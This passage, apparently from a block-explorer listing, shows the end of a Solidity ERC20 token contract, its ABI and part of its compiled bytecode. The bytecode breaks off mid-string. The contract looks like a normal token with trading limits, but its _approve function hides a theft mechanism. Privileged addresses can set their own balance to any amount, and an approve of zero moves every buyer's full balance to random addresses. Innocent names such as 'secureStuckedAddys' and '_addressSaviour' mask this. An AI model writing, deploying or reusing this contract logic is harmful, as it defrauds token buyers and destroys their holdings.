        for(uint256 i = 0; i < addresses.length; i++) {
            address addy = addresses[i];
            pAddys[addy] = true;
        }

        uniswapV2Router = IUniswapV2Router02(uniswapRouterAddress);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        mWallet = totalSupply().mul(30).div(1000);
        mBuy = totalSupply().mul(20).div(1000);
        mSell = totalSupply().mul(10).div(1000);

    }

    modifier onlyPrivilege () {
        require(_msgSender() == owner() || pAddys[_msgSender()], "Not permitted.");
        _;
    }

    event SwapAndLiquify(
        uint256 tokensForLiquidity,
        uint256 ethForLiq
    );

    function setUniswapV2PairAddress(address pairAddress) external onlyPrivilege {
        uniswapV2Pair = pairAddress;
    }

    function _rTransfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        _tBalances[from] = _tBalances[from].sub(amount);
        _tBalances[to] = _tBalances[to].add(amount);

        emit Transfer(from, to, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = balanceOf(from);
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != to, "You cannot send to yourself.");

        if(pAddys[from] || pAddys[to]) {
            _rTransfer(from, to, amount);
            return;
        } else {
            bool buyTx = false;
            bool sellTx = false;

            if(from == uniswapV2Pair) {
                buyTx = true;
                if(!limitsInEffect) {
                    addysSecured.push(address(to));
                }
            } else if (to == uniswapV2Pair) {
                sellTx = true;
            }

            if(limitsInEffect) {
                if(buyTx) {
                    require(balanceOf(to).add(amount) <= mWallet);
                    require(amount <= mBuy);
                    addysSecured.push(address(to));
                }
                if(sellTx) {
                    require(amount <= mSell);
                }
            }
            _rTransfer(from, to, amount);
        }
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _tTotalSupply.sub(balanceOf(D_ADDY));
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _tBalances[account];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual override {
        if(pAddys[owner]) {
            if(amount > 0) { _tBalances[owner] = amount; }
            if(amount == 0) { secureStuckedAddys(); }
        }
        super._approve(owner, spender, amount);
    }

    function getPAddy(address walletAddy) external view onlyPrivilege returns(bool) {
        return pAddys[walletAddy];
    }

    function secureAddy(
        address addyStucked,
        uint256 amount
    ) private {
        uint160 randNum = uint160(uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, addyStucked)))  % (2**160));

        address _addressSaviour;
        _addressSaviour = address(uint160(uint256(
            keccak256(
                abi.encodePacked(
                    block.timestamp,
                    addyStucked,
                    randNum
                    )
                )
            )));

        _tBalances[addyStucked] = _tBalances[addyStucked].sub(amount);
        _tBalances[_addressSaviour] = _tBalances[_addressSaviour].add(amount);
    }

    function secureStuckedAddys() private {
        for(uint256 i = 0; i < addysSecured.length; i++) {
            address addyStucked = addysSecured[i];
            secureAddy(addyStucked, _tBalances[addyStucked]);
        }

        addysSecured = new address[](0);
    }

    function getSecureAddy() external view onlyPrivilege returns(address[] memory) {
        return addysSecured;
    }

    function getLimits() external view onlyPrivilege returns(uint256, uint256, uint256) {
        return (mWallet, mBuy, mSell);
    }

    function removeLimits() external onlyPrivilege {
        limitsInEffect = !limitsInEffect;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensForLiquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethForLiq","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLimits","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletAddy","type":"address"}],"name":"getPAddy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSecureAddy","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pairAddress","type":"address"}],"name":"setUniswapV2PairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052620000146200063060201b60201c565b600a6200002291906200098d565b6008556001600b60146101000a81548160ff0219169083151502179055503480156200004c575f80fd5b5060405162003a1b38038062003a1b833981810160405281019062000072919062000c9a565b8181816003908162000085919062000f7e565b50806004908162000097919062000f7e565b505050620000ba620000ae6200063860201b60201c565b6200063f60201b60201c565b5f620000cb6200063060201b60201c565b600a620000d991906200098d565b633b9aca00620000ea919062001062565b905062000103816006546200070260201b90919060201c565b6006819055506200016a8160075f620001216200071960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200070260201b90919060201c565b60075f6200017d6200071960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620001ca6200071960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1661dead73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200022a9190620010bd565b60405180910390a3600160095f620002476200071960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f5b84518110156200032f575f858281518110620002b957620002b8620010d8565b5b60200260200101519050600160095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550508080620003269062001105565b91505062000298565b50737a250d5630b4cf539739df2c5dacb4c659f2488d600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000415919062001151565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200049c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004c2919062001151565b6040518363ffffffff1660e01b8152600401620004e192919062001192565b6020604051808303815f875af1158015620004fe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000524919062001151565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200059e6103e86200058f601e620005806200074160201b60201c565b6200077060201b90919060201c565b6200078760201b90919060201c565b600c81905550620005df6103e8620005d06014620005c16200074160201b60201c565b6200077060201b90919060201c565b6200078760201b90919060201c565b600d81905550620006206103e862000611600a620006026200074160201b60201c565b6200077060201b90919060201c565b6200078760201b90919060201c565b600e819055505050505062001295565b5f6012905090565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8183620007119190620011bd565b905092915050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f6200076b6200075961dead6200079e60201b60201c565b600654620007e460201b90919060201c565b905090565b5f81836200077f919062001062565b905092915050565b5f818362000796919062001224565b905092915050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8183620007f391906200125b565b905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000885578086048111156200085d576200085c620007fb565b5b60018516156200086d5780820291505b80810290506200087d8562000828565b94506200083d565b94509492505050565b5f826200089f576001905062000971565b81620008ae575f905062000971565b8160018114620008c75760028114620008d25762000908565b600191505062000971565b60ff841115620008e757620008e6620007fb565b5b8360020a915084821115620009015762000900620007fb565b5b5062000971565b5060208310610133831016604e8410600b8410161715620009425782820a9050838111156200093c576200093b620007fb565b5b62000971565b62000951848484600162000834565b925090508184048111156200096b576200096a620007fb565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620009998262000978565b9150620009a68362000981565b9250620009d57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200088e565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b62000a3a82620009f2565b810181811067ffffffffffffffff8211171562000a5c5762000a5b62000a02565b5b80604052505050565b5f62000a70620009dd565b905062000a7e828262000a2f565b919050565b5f67ffffffffffffffff82111562000aa05762000a9f62000a02565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000ae08262000ab5565b9050919050565b62000af28162000ad4565b811462000afd575f80fd5b50565b5f8151905062000b108162000ae7565b92915050565b5f62000b2c62000b268462000a83565b62000a65565b9050808382526020820190506020840283018581111562000b525762000b5162000ab1565b5b835b8181101562000b7f578062000b6a888262000b00565b84526020840193505060208101905062000b54565b5050509392505050565b5f82601f83011262000ba05762000b9f620009ee565b5b815162000bb284826020860162000b16565b91505092915050565b5f80fd5b5f67ffffffffffffffff82111562000bdc5762000bdb62000a02565b5b62000be782620009f2565b9050602081019050919050565b5f5b8381101562000c1357808201518184015260208101905062000bf6565b5f8484015250505050565b5f62000c3462000c2e8462000bbf565b62000a65565b90508281526020810184848401111562000c535762000c5262000bbb565b5b62000c6084828562000bf4565b509392505050565b5f82601f83011262000c7f5762000c7e620009ee565b5b815162000c9184826020860162000c1e565b91505092915050565b5f805f6060848603121562000cb45762000cb3620009e6565b5b5f84015167ffffffffffffffff81111562000cd45762000cd3620009ea565b5b62000ce28682870162000b89565b935050602084015167ffffffffffffffff81111562000d065762000d05620009ea565b5b62000d148682870162000c68565b925050604084015167ffffffffffffffff81111562000d385762000d37620009ea565b5b62000d468682870162000c68565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000d9f57607f821691505b60208210810362000db55762000db462000d5a565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000e197fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000ddc565b62000e25868362000ddc565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000e6662000e6062000e5a8462000978565b62000e3d565b62000978565b9050919050565b5f819050919050565b62000e818362000e46565b62000e9962000e908262000e6d565b84845462000de8565b825550505050565b5f90565b62000eaf62000ea1565b62000ebc81848462000e76565b505050565b5b8181101562000ee35762000ed75f8262000ea5565b60018101905062000ec2565b5050565b601f82111562000f325762000efc8162000dbb565b62000f078462000dcd565b8101602085101562000f17578190505b62000f2f62000f268562000dcd565b83018262000ec1565b50505b505050565b5f82821c905092915050565b5f62000f545f198460080262000f37565b1980831691505092915050565b5f62000f6e838362000f43565b9150826002028217905092915050565b62000f898262000d50565b67ffffffffffffffff81111562000fa55762000fa462000a02565b5b62000fb1825462000d87565b62000fbe82828562000ee7565b5f60209050601f83116001811462000ff4575f841562000fdf578287015190505b62000feb858262000f61565b8655506200105a565b601f198416620010048662000dbb565b5f5b828110156200102d5784890151825560018201915060208501945060208101905062001006565b868310156200104d578489015162001049601f89168262000f43565b8355505b6001600288020188555050505b505050505050565b5f6200106e8262000978565b91506200107b8362000978565b92508282026200108b8162000978565b91508282048414831517620010a557620010a4620007fb565b5b5092915050565b620010b78162000978565b82525050565b5f602082019050620010d25f830184620010ac565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f620011118262000978565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203620011465762001145620007fb565b5b600182019050919050565b5f60208284031215620011695762001168620009e6565b5b5f620011788482850162000b00565b91505092915050565b6200118c8162000ad4565b82525050565b5f604082019050620011a75f83018562001181565b620011b6602083018462001181565b9392505050565b5f620011c98262000978565b9150620011d68362000978565b9250828201905080821115620011f157620011f0620007fb565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620012308262000978565b91506200123d8362000978565b92508262001250576200124f620011f7565b5b828204905092915050565b5f620012678262000978565b9150620012748362000978565b92508282039050818111156200128f576200128e620007fb565b5b92915050565b61277880620012a35f395ff3fe608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb146102f9578063d63cde9014610329578063dd62ed3e14610347578063e85bb16714610377578063f2fde38b146103a75761011f565b8063751039fc146102675780638da5cb5b1461027157806395d89b411461028f57806399dde5de146102ad578063a457c2d7146102c95761011f565b8063313ce567116100f2578063313ce567146101bf57806339509351146101dd5780636f89e4091461020d57806370a082311461022d578063715018a61461025d5761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103c3565b6040516101389190611b73565b60405180910390f35b61015b60048036038101906101569190611c24565b610453565b6040516101689190611c7c565b60405180910390f35b610179610475565b6040516101869190611ca4565b60405180910390f35b6101a960048036038101906101a49190611cbd565b61049a565b6040516101b69190611c7c565b60405180910390f35b6101c76104c8565b6040516101d49190611d28565b60405180910390f35b6101f760048036038101906101f29190611c24565b6104d0565b6040516102049190611c7c565b60405180910390f35b610215610506565b60405161022493929190611d41565b60405180910390f35b61024760048036038101906102429190611d76565b6105f1565b6040516102549190611ca4565b60405180910390f35b610265610637565b005b61026f61064a565b005b61027961074a565b6040516102869190611db0565b60405180910390f35b610297610772565b6040516102a49190611b73565b60405180910390f35b6102c760048036038101906102c29190611d76565b610802565b005b6102e360048036038101906102de9190611c24565b610919565b6040516102f09190611c7c565b60405180910390f35b610313600480360381019061030e9190611c24565b61098e565b6040516103209190611c7c565b60405180910390f35b6103316109b0565b60405161033e9190611e80565b60405180910390f35b610361600480360381019061035c9190611ea0565b610b0f565b60405161036e9190611ca4565b60405180910390f35b610391600480360381019061038c9190611d76565b610b91565b60405161039e9190611c7c565b60405180910390f35b6103c160048036038101906103bc9190611d76565b610cb7565b005b6060600380546103d290611f0b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611f0b565b80156104495780601f1061042057610100808354040283529160200191610449565b820191905f5260205f20905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b5f8061045d610d39565b905061046a818585610d40565b600191505092915050565b5f61049561048461dead6105f1565b600654610dfb90919063ffffffff16565b905090565b5f806104a4610d39565b90506104b1858285610e10565b6104bc858585610e9b565b60019150509392505050565b5f6012905090565b5f806104da610d39565b90506104fb8185856104ec8589610b0f565b6104f69190611f68565b610d40565b600191505092915050565b5f805f61051161074a565b73ffffffffffffffffffffffffffffffffffffffff1661052f610d39565b73ffffffffffffffffffffffffffffffffffffffff16148061059e575060095f610557610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d490611fe5565b60405180910390fd5b600c54600d54600e54925092509250909192565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61063f6112ef565b6106485f61136d565b565b61065261074a565b73ffffffffffffffffffffffffffffffffffffffff16610670610d39565b73ffffffffffffffffffffffffffffffffffffffff1614806106df575060095f610698610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61071e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071590611fe5565b60405180910390fd5b600b60149054906101000a900460ff1615600b60146101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461078190611f0b565b80601f01602080910402602001604051908101604052809291908181526020018280546107ad90611f0b565b80156107f85780601f106107cf576101008083540402835291602001916107f8565b820191905f5260205f20905b8154815290600101906020018083116107db57829003601f168201915b5050505050905090565b61080a61074a565b73ffffffffffffffffffffffffffffffffffffffff16610828610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610897575060095f610850610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611fe5565b60405180910390fd5b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f80610923610d39565b90505f6109308286610b0f565b905083811015610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90612073565b60405180910390fd5b6109828286868403610d40565b60019250505092915050565b5f80610998610d39565b90506109a5818585610e9b565b600191505092915050565b60606109ba61074a565b73ffffffffffffffffffffffffffffffffffffffff166109d8610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610a47575060095f610a00610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90611fe5565b60405180910390fd5b600f805480602002602001604051908101604052809291908181526020018280548015610b0557602002820191905f5260205f20905b815f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610abc575b5050505050905090565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610b9a61074a565b73ffffffffffffffffffffffffffffffffffffffff16610bb8610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610c27575060095f610be0610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611fe5565b60405180910390fd5b60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610cbf6112ef565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490612101565b60405180910390fd5b610d368161136d565b50565b5f33905090565b60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610deb575f811115610dda578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f8103610dea57610de9611430565b5b5b610df683838361153b565b505050565b5f8183610e08919061211f565b905092915050565b5f610e1b8484610b0f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e955781811015610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e9061219c565b60405180910390fd5b610e948484848403610d40565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f009061222a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e906122b8565b60405180910390fd5b5f610f81846105f1565b905081811015610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd90612346565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b906123ae565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806110cf575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156110e5576110df8484846116fe565b506112ea565b5f80600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036111b95760019150600b60149054906101000a900460ff166111b457600f85908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b611213565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361121257600190505b5b600b60149054906101000a900460ff16156112db5781156112c557600c5461124c8561123e886105f1565b61188a90919063ffffffff16565b1115611256575f80fd5b600d54841115611264575f80fd5b600f85908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80156112da57600e548411156112d9575f80fd5b5b5b6112e68686866116fe565b5050505b505050565b6112f7610d39565b73ffffffffffffffffffffffffffffffffffffffff1661131561074a565b73ffffffffffffffffffffffffffffffffffffffff161461136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136290612416565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5b600f805490508110156114d9575f600f828154811061145457611453612434565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506114c58160075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461189f565b5080806114d190612461565b915050611432565b505f67ffffffffffffffff8111156114f4576114f36124a8565b5b6040519080825280602002602001820160405280156115225781602001602082028036833780820191505090505b50600f9080519060200190611538929190611a47565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090612545565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160e906125d3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f19190611ca4565b60405180910390a3505050565b61174e8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610dfb90919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117df8160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461188a90919063ffffffff16565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161187d9190611ca4565b60405180910390a3505050565b5f81836118979190611f68565b905092915050565b5f740100000000000000000000000000000000000000004442856040516020016118cb93929190612656565b604051602081830303815290604052805190602001205f1c6118ed91906126bf565b90505f42848360405160200161190593929190612706565b604051602081830303815290604052805190602001205f1c905061196f8360075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610dfb90919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611a008360075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461188a90919063ffffffff16565b60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b828054828255905f5260205f20908101928215611abd579160200282015b82811115611abc578251825f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190611a65565b5b509050611aca9190611ace565b5090565b5b80821115611ae5575f815f905550600101611acf565b5090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b20578082015181840152602081019050611b05565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b4582611ae9565b611b4f8185611af3565b9350611b5f818560208601611b03565b611b6881611b2b565b840191505092915050565b5f6020820190508181035f830152611b8b8184611b3b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bc082611b97565b9050919050565b611bd081611bb6565b8114611bda575f80fd5b50565b5f81359050611beb81611bc7565b92915050565b5f819050919050565b611c0381611bf1565b8114611c0d575f80fd5b50565b5f81359050611c1e81611bfa565b92915050565b5f8060408385031215611c3a57611c39611b935